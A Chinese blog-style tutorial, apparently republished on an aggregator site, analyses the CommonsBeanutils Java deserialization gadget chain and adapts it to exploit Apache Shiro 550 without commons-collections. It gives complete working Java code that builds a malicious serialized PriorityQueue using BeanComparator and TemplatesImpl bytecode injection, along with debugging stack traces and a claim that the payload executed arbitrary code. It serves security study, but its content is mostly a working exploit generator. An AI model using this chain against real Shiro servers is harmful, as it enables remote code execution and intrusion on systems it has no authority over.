栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Java反序列化(十)CommonsBeanutils分析

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Java反序列化(十)CommonsBeanutils分析

前言 Apache Commons Beanutils

Apache Common Beanutils是Apache Common工具集下的另一个项目,提供了一系列对JavaBean的操作方法。什么是JavaBean:什么是JavaBean。

如下Cat就是一个JavaBean。

final public class Cat {
    private String name = "catalina";

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty,让使用者可以直接调用任意JavaBean的getter方法。

PropertyUtils.getProperty(new Cat(), "name");

此时PropertyUtils.getProperty会自动调用Cat的getName方法,获取返回值。其实就是会自动调用参数1的getter方法。

CommonsBeanutils利用链

其实这个利用链上半段使用的还是PriorityQueue,而PriorityQueue的核心就在于找可以利用的java.util.Comparator对象。



在commons-beanutils包中就存在一个:org.apache.commons.beanutils.BeanComparator。

BeanComparator是用来比较两个JavaBean是否相等的两个类,实现了java.util.Comparator接口。查看一下他的compare方法。

这个方法接收了两个对象,如果this.property属性值为空,则直接比较这两个对象。如果不为空,则使用PropertyUtils.getProperty获取两个对象的this.property的值。然后进行比较。

上面说了PropertyUtils.getProperty这个方法会自动去调用一个JavaBean的getter方法,这个点是任意代码执行的关键。有没有什么getter方法可以执行恶意代码呢?

当然是有的,在TemplatesImpl#getOutputProperties()方法中会调用newTransformer方法(后面的利用链就不说了,不明白的去了解一下TemplatesImpl的利用链)。并且是public。支持外部调用。而且getOutputProperties是以get开头的,符合getter的定义。

所以,PropertyUtils.getProperty( o1, property )这段代码,当o1是一个TemplatesImpl对象,而property的值为outputProperties时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties()方法,触发代码执行。

最终代码如下

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

public class CommonsBeanutils1 {

    public static void main(String[] args) throws Exception {
        // 创建TemplatesImpl。
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(TemplateTest.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        // BeanComparator的无参构造函数就会把property设置为null
        final BeanComparator comparator = new BeanComparator();
        // 将comparator传给PriorityQueue。初始化容量为2
        final PriorityQueue queue = new PriorityQueue(2, comparator);
        // 这里不能直接add(obj)。最终会调用ComparableComparator#compare方法,这里会将1强转为Comparable。而obj是TemplatesImpl,无法强转为Comparable
        queue.add(1);
        queue.add(1);
        // 调用add的时候也会调用BeanComparator#compare方法,此时property值需要为null,所以需要在add之后通过反射来修改property为outputProperties。
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("result.ser")));
        oos.writeObject(queue);
        oos.close();


        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("result.ser")));
        Object o = ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}
 

所需的maven


    commons-beanutils
    commons-beanutils
    1.9.4


    org.javassist
    javassist
    3.25.0-GA
    compile

Shiro550的利用难点

在Shiro550的实际利用中,目标可能没有使用commons-collections。这就导致无法使用CC链进行RCE。这个时候还有其他方法可以进行RCE吗?

可以看到shiro的pom.xml中有commons-beanutils的依赖,版本为1.8.3。也就是说shiro本身自带了commons-beanutils依赖,只要使用了shiro组件,就必定有commons-beanutils。

那么是否可以利用本文提到的CommonsBeanutils链进行利用?

当我构造好payload发送过去的时候,服务端报错了,报错如下

org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array.
	at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:82)
	at org.apache.shiro.mgt.AbstractRememberMeManager.deserialize(AbstractRememberMeManager.java:514)
	at org.apache.shiro.mgt.AbstractRememberMeManager.convertBytesToPrincipals(AbstractRememberMeManager.java:431)
	at org.apache.shiro.mgt.AbstractRememberMeManager.getRememberedPrincipals(AbstractRememberMeManager.java:396)
	at org.apache.shiro.mgt.DefaultSecurityManager.getRememberedIdentity(DefaultSecurityManager.java:604)
	at org.apache.shiro.mgt.DefaultSecurityManager.resolvePrincipals(DefaultSecurityManager.java:492)
	at org.apache.shiro.mgt.DefaultSecurityManager.createSubject(DefaultSecurityManager.java:342)
	at org.apache.shiro.subject.Subject$Builder.buildSubject(Subject.java:846)
	at org.apache.shiro.web.subject.WebSubject$Builder.buildWebSubject(WebSubject.java:148)
	at org.apache.shiro.web.servlet.AbstractShiroFilter.createSubject(AbstractShiroFilter.java:292)
	at org.apache.shiro.web.servlet.AbstractShiroFilter.doFilterInternal(AbstractShiroFilter.java:359)
	at org.apache.shiro.web.servlet.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:125)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:199)
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
	at org.apache.catalina.authenticator.Authenticatorbase.invoke(Authenticatorbase.java:493)
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81)
	at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:650)
	at org.apache.catalina.core.StandardEnginevalve.invoke(StandardEnginevalve.java:87)
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
	at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:800)
	at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
	at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:806)
	at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1498)
	at org.apache.tomcat.util.net.SocketProcessorbase.run(SocketProcessorbase.java:49)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
	at java.lang.Thread.run(Thread.java:748)
Caused by: java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
	at java.io.ObjectStreamClass.initNonProxy(ObjectStreamClass.java:699)
	at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1885)
	at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1751)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2042)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573)
	at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2287)
	at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:561)
	at java.util.PriorityQueue.readObject(PriorityQueue.java:783)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170)
	at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2178)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431)
	at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:77)
	... 30 more

查看报错java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962。这个错误是什么意思?

什么是serialVersionUID?

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患。

当然,开发者也可以手工给类赋予一个serialVersionUID值,此时就能手工控制兼容性了。

所以出现这个错误的原因就是我序列化的时候用的是commons-beanutils 1.9.4版本。而shiro自带的是commons-beanutils 1.8.3版本,出现了serialVersionUID对应不上的问题。

解决方法也很简单,将commons-beanutils版本修改为1.8.3即可。

当我修改完版本之后,重新生成序列化文件的时候报错了。错误如下

Exception in thread "main" java.lang.NoClassDefFoundError: org/apache/commons/collections/comparators/ComparableComparator
	at org.apache.commons.beanutils.BeanComparator.(BeanComparator.java:81)
	at org.apache.commons.beanutils.BeanComparator.(BeanComparator.java:59)
	at CommonsBeanutils1.main(CommonsBeanutils1.java:22)
Caused by: java.lang.ClassNotFoundException: org.apache.commons.collections.comparators.ComparableComparator
	at java.net.URLClassLoader.findClass(URLClassLoader.java:382)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
	at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:349)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
	... 3 more

提示找不到ComparableComparator这个类。

java.lang.NoClassDefFoundError: org/apache/commons/collections/comparators/ComparableComparator

跟踪堆栈信息,


看到org.apache.commons.collections.comparators.ComparableComparator;,从包名即可看出,这个类是来自于commons-collections。

commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这就导致正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections

难道没有commons-collections就无法进行反序列化利用吗?当然有。

无依赖的Shiro反序列化利用链

分析ComparableComparator在哪里使用了,在BeanComparator构造方法中使用了,如下图。下面那个构造方法可以指定comparator,就无需实例化ComparableComparator。

现在的问题是我们如何去寻找一个的类,这个类需要满足以下条件
1.实现java.util.Comparator接口
2.实现java.io.Serializable接口
3.Java、shiro或commons-beanutils自带,且兼容性强。则不需要其他的依赖。

P牛找到了CaseInsensitiveComparator类。


这个CaseInsensitiveComparator类是java.lang.String类下的一个内部私有类,其实现了Comparator和Serializable,且位于Java的核心代码中,兼容性强,是一个完美替代品。
通过String.CASE_INSENSITIVE_ORDER即可拿到上下文中的CaseInsensitiveComparator对象,用它来实例化BeanComparator:

final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

修改好代码之后,又报错了,

Exception in thread "main" java.lang.ClassCastException: java.lang.Integer cannot be cast to java.lang.String
	at java.lang.String$CaseInsensitiveComparator.compare(String.java:1186)
	at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:153)
	at java.util.PriorityQueue.siftUpUsingComparator(PriorityQueue.java:670)
	at java.util.PriorityQueue.siftUp(PriorityQueue.java:646)
	at java.util.PriorityQueue.offer(PriorityQueue.java:345)
	at java.util.PriorityQueue.add(PriorityQueue.java:322)
	at ShiroCommonsBeanutils.main(ShiroCommonsBeanutils.java:29)

Integer无法转换为String。那么将1改为"1"即可

queue.add("1");
queue.add("1");

最终代码如下

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

// shiro 自带的CommonsBeanutils版本为1.8.3,所以需要先将pom.xml中CommonsBeanutils版本设置为1.8.3

public class ShiroCommonsBeanutils {

    public static void main(String[] args) throws Exception {
        // 创建TemplatesImpl。
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(TemplateTest.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        // 通过BeanComparator的构造函数把property设置为null,并且将comparator设置为String.CASE_INSENSITIVE_ORDER
        final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        // 将comparator传给PriorityQueue。初始化容量为2
        final PriorityQueue queue = new PriorityQueue(2, comparator);
        // 因为property为null,调用add的时候会调用CaseInsensitiveComparator的compare方法
        queue.add("1");
        queue.add("1");
        // 调用add的时候也会调用BeanComparator#compare方法,此时property值需要为null,所以需要在add之后通过反射来修改property为outputProperties。
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("result.ser")));
        oos.writeObject(queue);
        oos.close();


        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("result.ser")));
        Object o = ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}
 

发送这个利用链生成的Payload,成功执行任意代码:

参考

https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html

转载请注明:文章转载自 www.mshxw.com
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号